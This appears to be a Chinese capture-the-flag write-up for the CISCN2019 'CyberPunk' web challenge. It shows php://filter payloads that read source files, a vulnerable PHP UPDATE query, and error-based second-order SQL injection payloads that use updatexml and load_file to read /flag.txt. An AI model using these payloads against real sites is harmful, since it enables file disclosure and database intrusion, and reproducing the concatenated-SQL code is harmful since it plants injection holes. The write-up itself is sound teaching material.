zoukankan      html  css  js  c++  java
  • [CISCN2019]CyberPunk

    [CISCN2019 华北赛区 Day1 Web5]CyberPunk

    php伪协议读文件

    file=php://filter/read=convert.base64-encode/resource=delete.php
    file=php://filter/read=convert.base64-encode/resource=change.php
    

    二次注入

    change.php

    过滤不严密的代码

     $address = addslashes($_POST["address"]);
    

    二次注入代码段

    if (isset($fetch) && $fetch->num_rows>0){
    		
            $row = $fetch->fetch_assoc();                                     
            $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
            $result = $db->query($sql);
            if(!$result) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "订单修改成功";
        } 
    

    update usersetaddress='".$address."', old_address='".$row['address']."' where user_id=".$row['user_id'];

    $row['address']是可以注入的,只不过需要二次注入。

    由于update语句是没有回显的,所以可以尝试报错注入。

    payload

    updatexml只能回显32个字符

    第一部分

    1' where user_id=updatexml(1,concat('~',(select load_file('/flag.txt'))),1) #
    

    第二部分

    1' where user_id=updatexml(1,concat('~',substr((select load_file('/flag.txt')),30,50)),1) #
    

    image-20200801225050618

  • 相关阅读:
    内部类
    this关键字
    封装
    构造方法
    类图
    StringBuffer
    String
    导包
    包名规范
    带参数的方法
  • 原文地址:https://www.cnblogs.com/h3zh1/p/13417039.html
Copyright © 2011-2022 走看看